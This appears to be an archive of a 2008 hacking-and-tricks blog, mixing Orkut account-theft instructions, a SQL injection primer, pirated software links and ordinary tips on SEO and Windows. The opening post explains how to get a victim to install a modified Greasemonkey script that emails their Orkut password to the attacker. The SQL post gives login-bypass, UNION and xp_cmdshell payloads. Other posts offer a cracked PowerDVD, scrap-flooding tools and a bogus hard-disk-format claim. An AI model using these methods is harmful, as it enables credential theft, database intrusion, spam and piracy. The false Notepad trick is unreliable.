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Hacking Orkut using Greasemonkey

2008-07-10T03:44:00.000-07:00

1) First of all, your victim MUST HAVE FIREFOX WITH GREASEMONKEY.
Download firefox at:- http://www.firefox.com
Download greasemonkey at:- https://addons.mozilla.org/en-US/firefox/addon/7482)
Now, go to http://www.trickplanet.com/orkut/hack.php
Download the file "multiple.user.js"
Now open it with NOTEPAD. Search for the code action=""; and replace it with action=your_email_address@yourdomain.com;
Save the file with the name multiple.user.js and upload it on googlepages or 110mb or any other free subdomain or your own domain.
e.g. http://[YOUR DOMAIN NAME]/multiple.user.js3)
3) Now make your victim install this file. He will be able to install it IF AND ONLY IF he has FIREFOX WITH GREASEMONKEY.
Once your victim installs this file, you are done ! .
4) Now the next time he opens orkut and logs in to orkut, his username and password will be emailed to you at the email ID you provided in step 2.Enjoy ! ;)
Do not misuse ! :)
Happy Hacking !

Medialets Launches iPhone Ad Platform: Think DoubleClick for iPhone Apps

2008-07-09T09:41:00.000-07:00

The iPhone isn't just a mobile phone, it's truly a next-gen computing platform. Although all mobile devices run an OS and are essentially mini-computers, the iPhone is arguably the first device to get the user experience right. Along with iPhone's rich feature set there's now also the App Store, a place where developers can offer their iPhone apps for download in both free and paid versions. But the truth of the matter is, free apps will be more widely distributed than the paid ones. Because of this, developers thought they had to choose between a free app with a large install base or a paid app that was installed less but earned money. Well, now there's a third choice, too: Medialets has launched a mobile ad platform for iPhone apps. With Medialets, developers can build free iPhone apps and still earn money through advertisements built into the apps themselves.
Medialets is a disruptive ad platform and network for the iPhone. Developers using this service will be able to embed creative ads directly into their native applications. The model is very much like that of DoubleClick - the apps can be monetized through CMP, CPC, and CPA advertising, which allows the apps to remain free to the user while also letting iPhone developers make money from their applications.
In addition to the ad platform itself, Medialets will also be providing the developers with analytics, tracking, and even a toolkit to help them build the advertising portion of the application.

Once the app is written and the Medialets framework has been embedded, the developers can then add their app to the iPhone App Store as usual and set the price to zero. As Apple distributes the apps to the users, Medialets will sell ads and share the revenue with the developers.
Medialets is being careful to make sure that their advertisements don't mar the otherwise unique and innovative user experience of the iPhone. While developers don't necessarily need to have their apps approved to work with Meidalets, the company will help them design ads that remain unique and beautiful, too. Medialets provides a supportive developer community and will offer demos and code examples for the developers to use.

The apps running Medialets will help brands and agencies find ways to offer audiences what are called "branded experiences." For example, an ad agency promoting professional racing might sponsor a branded racing game for their company or an app that lets fans track race stats and connect with other racing fans. Also, because location awareness is built-in to the 3G iPhone, applications that help people connect with nearby friends or find nearby businesses are also possible.
The official launch date for Medialets is July 11th - the same day as the iPhone 2.0 and the App Store.

Cyberlink Power DVD 8.0.1531

2008-07-09T04:53:00.000-07:00

What's New in CyberLink PowerDVD 8:

Audio* New! -

Dolby Digital Plus** New! -

Dolby TrueHD** New! -

DTS-HD**

DTS-ES**

DTS Neo:6 (Discrete, Matrix)**

DTS 96/24***

AAC 5.1 Channel support***

DTS***

Dolby Digital 5.1*

Dolby Digital EX***

Dolby Pro Logic IIx***

Dolby Headphone***

Dolby Virtual Speaker***

TrueTheater? - Surround (Multi-channel Environment Impression Mode)*

TrueTheater? - Surround (Virtual Speaker Mode)*

TrueTheater? - Surround (Headphone Mode)*

MLP lossless*** SRS TruSurroundXT***

Pitch scaling technology*

Audio equalizer presets*

Audio visualizations*

Direct 96/24 output*

MP3, WAVVideo* New! -

SMPTE VC-1 High-Definition Video**

MPEG4 AVC (H.264) High-Definition Video***

TrueTheater? - Lighting (Adaptive lighting for video quality enhancement)*

TrueTheater? - Stretch (Non-linear stretch technology)*

Video smart de-interlacingPlayback Format*

New! - BD-ROM (Blu-ray Disc) playback**

New! - BD-RE (Blu-ray Disc) playback**

VCPS for DVD+VR with content protection*

CPRM for DVD-VR with content protection***

DVD-Audio***

External subtitles*

DVD files (DVD-Video, DVD-VR, DVD+VR) from any folder in your hard driveAdvanced Features* New! -

Movie Collection Support* New! -

Movie Remix* New! -

Integration with MoovieLive Service*

UPnP Support - Access your media from a Home Network***

Say-It-Again - Automatically repeats the last movie scene*

See-It-All - Automatically speeds playback to show as much of the movie as possible*

Read-It-Clearly - Moves subtitles from the viewing screenPowerDVD is the latest evolution of the world acclaimed DVD software program that offers maximum video and audio playback entertainment on the PC. Itcomes complete with numerous customizable video/audio controls that can deliver the highest quality viewing and listening experience. PowerDVDincorporates support for high-definition audio and video, true 8-channel home theater audio playback, virtual surround sound, as well as completecontrols and extra features for DVD enthusiasts.

Download links

Download Power Dvd 8 Part 1

Download Power Dvd 8 Part 2

Download Power Dvd 8 Part 3

Download Power Dvd 8 Part 4

Download Power Dvd 8 Part 5

Download Power Dvd 8 Part 6

Crack

Please read this post entirely before asking for virtual software for hacking passwords!

2008-07-09T04:52:00.000-07:00

If you ever read something like below on any webpage typically blog, forum & orkut community or get a mail like…Hey guys,I have software to hack yahoo, gmail, hotmail, etc. passwords. If you are interested then give me your email id’s and I will email you that!Ever wondered about truth?? Is it so simple?Yes… but for spammers! Still you can put your email id’s below (may be in comment section) and help me to get some money by selling them to spammers! Yep, its that much simple for spammers!
So do you still think the person sending you this mail have such kind of software and just did not respond to your email!Do you still think such software exists that will ask for your targets email id and just after one click will show his/her password!?!
In reality even if you physically brake into yahoo, gmail or any genuine service’s database, you will at the most get a garbage encrypted string. All famous services use one-way encryption for storing password in encrypted form. That means you can not get original password from this encrypted string!
Still if you are confused whether to trust me or spammers then as my last attempt to save you from spammer recall last time when you forgot your password. After going through verification steps did you get your password back or a chance to set a new password? In my experience with Yahoo at least I got a new random password by them which I can change to something comfortable string later-on if I wish!
So why did not they give me my original password? There are many reasons and as I told u earlier that they don’t store original password is one of those reasons!
So does this means you can not break into someones account?Yeah you can, but it depends on your targets foolishness rather than your geekness. There are many tricks to do this, even some of them I tried successfully!
As this post getting long I may share those trick next time!
Till then have this hint : Don’t target the server, instead set up trap for your target! Servers are genius, targets may not be!!!

Format Hard-disk using Notepad

2008-07-09T02:53:00.001-07:00

Now can you just imagine how it cool it sounds formatting our hard disk using a notepad, but nothing to worry about. This trick is a bit logical and very much easy. N'joy.
Write The Following In Notepad Exactly as it says:-
01001011000111110010010101010101010000011111100000
Save As it as .EXE and any give it any name you wish.
If you run the program means it will format the Hard Drive.Yeah. You are done. Mission Accomplished.Comments appreciated. :-)

Get Free SMS forwards on your Mobile for Free.

2008-07-09T02:49:00.000-07:00

If you are the kind of person who just love to send and receive SMS forwards in your mobile. Then this post is for you. There is a site in India, which is offering unlimited SMS forwards to your mobile free. The site is Vakow. This site is for those who just love SMS forwards.At Vakow.com, you can receive any number of SMS forwards that are being posted on their site directly into your mobile for free. All you need to do is to just signup in their site and just subscribe to the tags given at the site and whenever there is an SMS posted in that tag, and it has been rated as +2 (i.e. rated as good by any two members), you will be receiving that SMS into your Mobile Phone immediately.What's more fun is that you can also share your SMS's here either through sending it through SMS or submitting at their site. This way it is double the fun.I have subscribed to around 10 tags and I now receive around 15 SMS's or more each day and most of them are really good SMS forwards with jokes, thoughts, wishes SMS's, etc. And I really enjoy it receiving to read at free time. If you don't want to receive any forwards, you can always delete your subscription anytime.It functions basically as a social networking site but with mostly SMS sharing option to it. You can even post the jokes submitted at Vakow as scrap to Orkut accounts, which is another good feature of this site.SO guys enjoy using Internet Services to get free unlimited SMS forwards on your mobile for Free.!!!

What is SQL Injection ? Why So Dangerous ?

2008-07-08T00:46:00.000-07:00

A friend of mine at College was asking me this.SQL injection is the most common and videly used exploit by hackers all over the world...few days back i was just doing some SQL injection test on Indian govt sites, I was shocked to see how many imp govt sites r open to it....this is a big thread for us...a malicious hacker can do a lot of harm if he wish to.Vocabulary:* SQL: Server Query Language-used in web applications to interact with databases.* SQL Injection: Method of exploiting a web application by supplying user input designed to manipulate SQL database queries.* "Injection": You enter the injections into an html form which is sent to the web application. The application then puts you input directly into a SQL query. In advertantly, this allows you to manipulate to query...Prerequisite:* A background of programming and a general idea of how most hacking methods are done.

Application:* Hacking a SQL database-driven server (usually only the ones that use unparsed user input in database queries). There is still a surprising number of data-driven web applications on the net that are vulnerable to this type of exploit. Being as typical as all method, the frequency of possible targets decreases over time as the method becomes more known. This is one those exploits that aren't easily prevented by a simple patch but by a competent programmer.Use:First, let's look at a typical SQL query:SELECT fieldName1, fieldName2 FROM databaseName WHERE restrictionsToFilterWhichEntriesToReturnNow, to dissect...The red areas is where criterion is inputed. The rest of the query structures the query.* SELECT fieldName1, fieldName2 - Specifies the of the names of fields that will be returned from the database.* FROM databaseName - Specifies the name of the database to search.* WHERE restrictionsToFilterWhichEntriesToReturn - Specifies which entries to return.Here is an example for somebody's login script:SELECT userAcessFlags FROM userDatabase WHERE userName="(input here)" AND userPass="(input here)"The idea is guess what that application's query looks like and input things designed to return data other than what was intended.In the example, input like the following could give gain access to the administrator account:User: administratorPass: " OR ""="Making the query like this:SELECT userAcessFlags FROM userDatabase WHERE userName="administrator" AND userPass="" OR ""=""As you can see, ""="" (nothing does indeed match nothing)Note: Injections are rarely as simple as this...One can be creative and use error messages to your advantadge to access other databases, fields, and entries. Learn a little SQL to use things like UNION to merges query results with ones not intended.On the security side, parse user data and get rid of any extra symbols now that you know how it's done.The idea in this example is to break out of the quotation marks.When stuff is inside quotation marks, the stuff isn't processed as code or anything but as a phrase and what it is.The password injection was: " OR ""="What this does is close the string that was started by the quotation mark in the part userPass=". Once you break out, THEN stuff is considered code. So, I put OR ""=" after I break out of the string. You will notice that it is comparing two quotation marks with one, but the quotation mark already built in by the application finishes it so we have this:userPass="" OR ""=""Notice how the first and last quotation marks are not colored and are not built in.Additional notes:This was just an extremely simplified version and you will probably need to learn a little SQL to fully understand.Here are a few SQL terms that do other things:UNION: You use this to merge the results of one query with another. You may put things like SELECT after UNION in order to search other databases and stuff. Sometimes you may need to use ALL in conjuction to break out of certain clauses. It does no harm so when in doubt you could do something like:" UNION ALL SELECT 0,'','hash' FROM otherDatabase WHERE userName="adminThe key when using UNION is to make your new query return the same amount of columns in the same datatype so that you may get the results you want.:-- This works sometimes to terminate the query so that it ignores to the rest of the stuff that might be fed afterwards if you don't like it. For example:SELECT * FROM userDatabase WHERE userName="admin";--" AND userPass="aH0qcQOVz7e0s"NOT IN: If you have no idea which record you want you could record cycle (you request vague info, and you put what you already got in the NOT IN clause so that you can get the next entry)Usage:SELECT userName userPass FROM userDatabase WHERE userName NOT IN ('Dehstil','Twistedchaos')EXEC: This command should never work, but if it does...you win; you could do anything. For instance, you could inject something like this:';EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:All my examples so far have dealt with read processes. To manipulate a write process, here is an example for those who know what their doing:INSERT INTO userProfile VALUES(''+(SELECT userPass FROM userDatabase WHERE userName='admin')+'' + 'Chicago' + 'male')This example would theoretically put the admin's password in your profile.

Need scraps more than 100,000 ???

2008-06-28T00:38:00.000-07:00

Want ur scrap increase more than..100,000

Itz so easy..

Do the Procedure as follows...

1.download fake profile maker by Xtreme coder

link : http://rapidshare.com/files/125560087/final_fast.exe.html

2.download Tree flood machine by OUG

link : http://rapidshare.com/files/125560603/TreeFM.rar.html

3.Mass Friend Adder by Zero Burn

link : http://rapidshare.com/files/123623356/Friend_Adder.rar.html

Requirements

.NET Framework 2.0

Download Link : http://www.microsoft.com/downloads/details.aspx?FamilyID=0856EACB-4362-4B0D-8EDD-AAB15C5E04F5&displaylang=en

Internet Explorer 7

Download Link : http://www.microsoft.com/windows/downloads/ie/getitnow.mspx

Steps for continuing.

First Step: Make Fakes. Ok in simple words, you need fakes to rapidly scrap your scrapbook.

Second Step: Add them as your friends. Well if you don't added them as your friend then you will recieve less scraps then it can deliver. After sending the fakes to your own profile

Third Step: Now you are ready to make your move. Add your profile UID, Fakes, Passward, Scrap and lastly comes the time delay. Now that the tricky point, thid depends on the net connection speed. If your net speed is less than 56kbps use it to 1000, if its 128kbps use 500 and if its 256kbps use 300kbps. So use your own imagination to make out the time delay. And enter the value of scraps to 50 per IDs.

AVG Free Edition 8.0

2008-06-28T00:06:00.000-07:00

AVG Free Edition is the well-known anti-virus protection tool. AVG Free is available free-of-charge to home users for the life of the product! Rapid virus database updates are available for the lifetime of the product, thereby providing the high-level of detection capability that millions of users around the world trust to protect their computers.

AVG Free is easy-to-use and will not slow your system down (low system resource requirements).

Highlights include:

Automatic update functionality
The AVG Resident Shield, which provides real-time protection as files are opened and programs are run
The AVG E-mail Scanner, which protects your e-mail
The AVG On-Demand Scanner, which allows the user to perform scheduled and manual tests
Free Virus Database Updates for the lifetime of the product
AVG Virus Vault for safe handling of infected files Download
Latest Version
45.57MB

Lock Your Folders !

2008-05-16T22:03:00.001-07:00

You can lock and unlock your folder with this simple trick !

Procedure :
1. Make a folder on the desktop and name it as "folder"
2. Now, open notepad and write ren folder folder.{21EC2020-3AEA-1069-A2DD-08002B30309D} and now (Notepad Menu) File>save as.
3. In the 'save as' name it as lock.bat and click save ! (Save it on Desktop)
4. Now, again open notepad again and write ren folder.{21EC2020-3AEA-1069-A2DD-08002B30309D} folder and now (Notepad Menu) File>save as.
5. In the 'save as' name it as key.bat and click save ! (Save it on Desktop)
6. Now, double click lock.bat to lock the folder and now if you open your folder, control panel will open up !
7. Now, double click key.bat to open the folder and now if you open your folder, you can access your data inside the folder again !
8. Lock your folder and hide the key.bat somewhere else on your hard disk !
9. Whenever you want to open your folder just paste the key.bat on desktop and open your folder using it !

Simple !

Make Your Own Icons In Windows XP !

2008-05-16T22:02:00.001-07:00

Now even personalize your ICONS with Windows XP !

To make your own ICON :

1. Start>>All Programs>>Accessories
2. Click Paint
3. In toolbar select Image
4. Click Attributes

--------------------- Note : The size of a icon is 32 x 32 pixels ! ---------------------

5. Type 32 in both Height and Width and sure that Pixels is selected under Units
6. Click OK
7. Now add your photo or design .
8. File>>Save As
9. Type name.ico
10. Click Save

Enjoy your New ICON !!!

Add Folder To - "SEND TO"

2008-05-16T22:00:00.000-07:00

Many a times we require a FOLDER too often, like to store our Multimedia files and all !!!
No no need to access the folder and carry out the traditional COPY & PASTE !!!

Just add it too "SEND TO" !!!

Do as follows :

** Open any FOLDER.
** Then, TOOLS >> Folder Options
** Click view TAB.
** In LIST of Advance Settings, click Show hidden files and folders !
** Now, go to C:\Documents and Settings
** Here, double click and open your (username) folder !
** Now, open SendTo folder.
** Here copy and paste the shortcut of your favorite folder.

That's Done !!!

Now, tranfer files to your favorite folder :

Enjoy FM on you GTalk

2008-05-16T21:59:00.000-07:00

Hi Guy's 'n' Gal's this is trick presently iam using this for listening FM

FM is on your GTalk now ( Teen Taal 110...,only hindi songs)

For this u need to follow these steps...,

1) add this id in ur GTalk: service@gtalk2voip.com
2) than add: 110@radio.gtalk2voip.com

After completion of these 2 steps
Then make a cal to 110@radio.gtalk2voip.com than u wil be directly connected to teen taal FM radio station

Hide or Lock your Drives

2008-05-16T21:58:00.000-07:00

Open Registry (go to run command, type "regedit" and press enter)

then go to this key

HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer

now right click in right side pane and create DWORD Value (blue color)

Rename it as "NoViewOnDrive" (for locking drive)
or
Rename it as "NoDrives" (for Hiding drive)

double click on it and put some numbers to lock ur desired Drive and click ok.

DRIVE NOS.
FOR A : 1
FOR C : 4
FOR D : 8
FOR E : 16
FOR F : 32
FOR G : 64
FOR H : 128

finally restart or log-off the computer to take effect.

Keep in mind that "0" is Default Value to Disable or remove this setting..

After locking the drive when u try to open it, u will see a msgbox like this
"This operation has been cancelled due to restrictions in effect on this computer. Please contact your system administrator"

Orkut Now On Mobile - m.orkut.com

2008-05-14T21:37:00.000-07:00

Now it will be possible for us to access orkut on our GPRS enabled mobiles. Thanks to this new feature from orkut . Now accessing orkut on your mobile is really very simple. All you have to do is to just log on to www.m.orkut.com from your mobile (provided you have internet on your mobile) . This mobile version is really clean but you can't access communities on it .

Things you can do are :

Read your Scrapbook
Reply to Scraps
View friends' profile
Accept friend Requests
Search
More features will be added shortly.

25 Tips To Optimize Your Blog For Readers & Search Engines

2008-05-14T09:21:00.000-07:00

Everyone and their dog (yes, there are a few dogs out there with their own blogs) have started up a blog these days, but many people just aren’t taking the steps needed to optimize their blogs for both readers and search engines. While blogs can be business related (another blog about mesothelioma anyone?) they can also be personal where you talk about the great ham sandwich you had for lunch today or the crappy service you had at that trendy restaurant last night.

But whether your blog is business or personal, you should ensure that you are optimizing your blog for both your readers (after all, you want to keep those readers coming back) and the search engines. Unfortunately, optimization is an important step that far too many blogs seem to be skipping over, even those that have a broad appeal to surfers and have the potential to be monetizable.

However, optimizing a blog is a bit different than your standard website search engine optimization (SEO), particularly because most blogs run off standard blog platforms, or worse, run as a hosted blog on someone else’s domain name. And there are design issues that can be unique to blogs which can impact your rankings.

When you optimize your blog for the user experience, you make it easy for users to return and engage in your blog without dealing with any of the hassles that can cause them to abandon other sites or blog entries. Repeat visitors are the cream of your blog, so by following these tips you have given them the tools they need to return as well as the user experience that makes them want to come back.

Fortunately, if you are on the case to make your blog rank well while not hindering your visitor’s experience on your site, there are definitely things you can check – and fix – to prevent any indexing issues from occurring, and ensuring your blog a happy and healthy existence in the search engines.

So here is advice on how you can optimize that blog of yours for both users and search engines without alienating one or the other.

1) Dump The Default Template - Looks Count!

I cringe when I see a blog using the “out of the box�? Wordpress or MovableType template. Hire a designer to create a unique look for your blog, or at the very least, take advantage of some of the free templates available and customize it a bit with a unique logo or a slight color upgrade.

2) Just Say No To Bad Color Schemes
While a hot pink with lime green color scheme might be your favorite, consider what your readers will be expecting. That color scheme might work perfectly on a teenage gossip site, but would look extremely out of place as the corporate blog for a men’s suit company. Likewise, gamers would think nothing of a black background on an Xbox 360 blog, but it would look horrendous on a parenting or pregnancy site. So while you should experiment with colors to find a good mix for your blog, keep in mind user experience and their expectations.

3) RSS Me!
Make sure you have RSS available. Many hosted blogging solutions don’t have RSS automatically available, so you will need to add it. And when you do add it, ensure you have those RSS links in an obvious spot. Don’t tuck them away at the very bottom of your index page after your most recent 20 entries, or hide them on a separate “About Us�? page. Place all those handy subscribe links in your sidebar, which is exactly where people will look for them. If you use Feedburner currently, have a look at their new MyBrand option which allows you to host your own feeds for a seamless user experience.

4) Offer RSS & Feed Subscription Buttons
Yes, when people want to subscribe to a blog, they will often look for that orange RSS logo as well as the logos of the standard aggregators such as Bloglines. So it is worth the time to add the most popular ones to your blog so visitors can easily do their one-click subscriptions to your feed without it require much effort on their part. If you make it hard to subscribe, most just won’t bother. FeedButton offers a service that allows you to offer multiple RSS aggregator and feed reader buttons with a single expanding rollover button.

5) Offer Posts Via Email
Some people just don’t get RSS. So cater to them by offering them an option to get your blog posts by email instead. The most popular service to do this automatically is FeedBlitz, although there are also many other tools available to do this.

6) Decide On Full Or Partial Feeds
Do you offer full feeds or partial feeds? This is a personal preference, and is often dependent on what market space you are blogging in. One option is to offer two feeds, one being an ad-supported full feed, with an RSS ad included, and the other being an ad-free snippet copy of the feed, where readers won’t see ads but will have to actually view your blog in order to read your full entry. But this will often come down to personal preference, and the preferences of your readers.

7) Write Compelling Snippets/Descriptions
If you do use snippets for your RSS feed, be sure to make them compelling or leave readers with a cliffhanger to encourage them to click and read the full entry. This will get you many more readers to your entries than just using the default option of including the first X number of words in the blog post as the snippet. Use your excerpts to generate interest and clicks.

8) Pay Attention to How You Write.
One of my favorite bloggers has the unfortunate habit of writing detailed long entries… without a single paragraph break and with the double whammy of also writing with a font size smaller than usual. If I look up for a moment, it is hard to find my place again in her 1000 word entries. As a result, I don’t read it as often as I would like to, simply because reading it is such a painful experience.

9) Spelling Counts
Spelling is also worth mentioning. Add one of the many spell checkers to your internet browser and run a quick spell check before you publish your entry. Every word doesn’t have to be perfect, and I am certainly guilty myself of letting on occasional typo slip through unnoticed. But I also get annoyed when I am reading typo after typo after typo in an entry. And yes, if it happens enough, I will unsubscribe out of sheer frustration.

10) Fontography Counts
Make the font easy to read. Some bloggers think it is cool to have their handwriting turned into a customized font, or use a trendy font that would be better suited to a scrapbook layout. But not everyone has those wild and weird fonts installed, which means that those people will see a standard font such as Times New Roman, and it can really kill the look of your blog. So instead design the text of your blog entries to use a standard font in a standard size.

11) Don't Forget Navigation
Is this blog part of a larger site, such as a corporate blog on a site for a major company? Don’t just link to the main page of the blog. Syndicate your recent headlines in the sidebar to encourage visitors on the main site to check out the blog too.

12) How Fast is Your Host?
Another one of my favorite blogs has such a slow response time when I click from the snippet in my RSS to the full blog entry that I only actually end up waiting around for it to load about 10% of the time. Don’t lose readers because your hosting company thinks 30 seconds is a perfectly reasonable amount of time to load up a page.

13) Avoid Widget Overload!
Yes, there are definitely some cool widgets you can add to your blog, such as MyBlogLog or a Flickr photo box tied to your photo gallery. But be aware that having a large number of javascripts can slow down your site. So don’t sacrifice timely loading time for nice-but-not-all-that-necessary widgets.

14) Have Descriptive Titles
Some blog software actually makes your entry titles seem pretty repetitious in the search engine result pages, and can result in a lower click through than you might have had otherwise with highly optimized titles. If your title’s say something like “Jason’s Tech Industry Rants & Ramblings Blog >> New Xbox 360 title announced for April release�? you should change it to “New Xbox 360 title announced for April release�?. Unless you are well known as an authority blog in that market, the blog name is simply wasting crucial space at the beginning of the title tag and causing the rest of the entry title to end up getting truncated in the search results. And make sure your titles actually enhance the entry and don't leave the reader wondering what on earth the blog entry could be about. Ensuring you have great titles when you have a small readership and are depending on search engines to send you readers is one of the first steps you should take to optimize your blog.

15) Look at your Cascading Style Sheets.
Most blogs use a tremendous amount of CSS to create that custom look. And while most of the “out of the box�? designs that come standard with the installed template include all CSS in an external file, there definitely are some blog designers who will put their CSS on the individual template pages rather than placing it all in an external CSS file. And when you don’t place CSS in an external file, it can clutter up your pages and result in the most important part of the page – the entry text – being much further down in the HTML code when it has to go after the masses of CSS coding lines.

16) Post Often
The more frequently you post, the more likely Googlebot and other bots will stop by on a more regular basis. If you only post once in a blue moon, expect that it might take a while for Google to stop by and see that you actually have updated again. Google loves updated fresh sites, so it make sense to feed the bot what it wants.

17) Spread the Link Love
If you are blogging about a story, link up the original story as well as other’s commentary on the same topic. When you do so, you will often make those bloggers aware of your blog’s existence (if they weren’t already) when people click from your blog to theirs. And it also increases the odds that they will either link to you on that story or on something you blog about in the future.

18) Be Aware of Your Anchor Text
When you link to someone’s blog entry, or even a previous blog entry on your own site, make sure you link well. This means instead of linking to someone’s blog entry with the anchor text “click here�?, you link to them using anchor text related to the blog entry, such as “Jason’s scoop on the new Widget Xbox 360 game�?.

19) Create Unique Stories
Bloggers love to link to other bloggers. When you write original blog entries, rather than just rehashing something someone else has already said, you increase the odds that someone will find yours interesting enough to link to and talk about. And a reader of that blogger’s blog might read the entry and decide to write something about what you said as well, meaning yet another link as well. And if you are fortunate, it will go viral, meaning suddenly it seems like every blogger in your market space is talking about what you wrote. Rinse and repeat as often as possible for maximum exposure and link juice.

20) Use a Related Posts Plugin
Not only does this make sense to keep readers around for other articles on your site that are related to your current post, but it also allows you to deeplink from a current page on your blog to older entries. Often, older entries get buried several pages deep on an archive page, and this allows you to showcase entries written months or years previously and give those “oldies but goodies�? an extra little kick in the search engines. There are several related post plugins available depending on which blog platform you use.

21) Ping Other Sites
When you add a new blog entry, you might want to ping site such as Technorati and FeedBurner to let them know you have a brand new blog entry on your site. You can also now ping Google’s Blog Search as well for faster indexing in their blog search engine at blogsearch.google.com. Automatic pinging is an option in the control panel of most blog platforms including WordPress and MovableType. And Ping-o-Matic offers a service that allows you to quickly pick and chose what to ping.

22) Buy Your Own Domain Name
Don’t always think your free blog hosting company will be around forever. What will you do if you build up a loyal readership then one day you discover yourblogname.examplebloghost.com no longer works because examplebloghost.com has gone out of business? You want to make sure the search engines have a URL they will always find your blog at, rather than have to worry about them re-indexing your previously well-ranked blog on am entirely new domain… that is if you are lucky enough to get your blog posts from your free hosting company. Both Google's Blogger & Wordpress allow you to use their hosted blog service while displaying it on your own domain instead of their own branded one.

23) Manage Your Trackback & Comment Spam
You don’t want Google or Yahoo to find masses of spammy links on your site to all manner of less-than-quality sites submitted to your blog by a blog spammer. Use one of the many tools on the market for your blog platform to manage both comment and trackback spam.

24) Use a Good URL Structure
Don’t use “permalinks�? such as www.yourblogsite.com/?p=123 . Instead, use www.yourblogsite.com/2007/01/01/blog_entry_title_here. Most blogging platforms allow you to change from the standard numbered permalinks to this style of search engine friendly ones. And just in case the blog platform you use has funky dynamic URLs for each entry, you will want to ensure that the bots can crawl them easily or use a mod rewrite to create a good structure such as in the example.

25) Use Great Categories
When you write a post, place it in 1 to 3 different categories related to the post. For example, and article on the television show Grey's Anatomy could go under "Grey's Anatomy" and "ABC". Avoid the temptation to add it to ten different categories though, such as including "drama," "hospital," "interns" and "Seattle" because that is just overkill. But if you wrote something great on Grey's Anatomy, you have made it easy for your reader to find all your posts on Grey's Anatomy because they simply have to click on the category link at the top or bottom of the entry.

While some bloggers insist that search engine rankings will come naturally to those who wait, who really wants to wait for Google? A blogger can run into several unique challenges when it comes to optimizing for search engines, and it makes sense to get the jump on it now than simply hoping that if you write it, the bots will come. It is far easier to ensure you have a well optimized blog now than trying to figure out what the issue is 6 months down the road when only your blog’s index page is found in Google!

Happy Blogging !!!!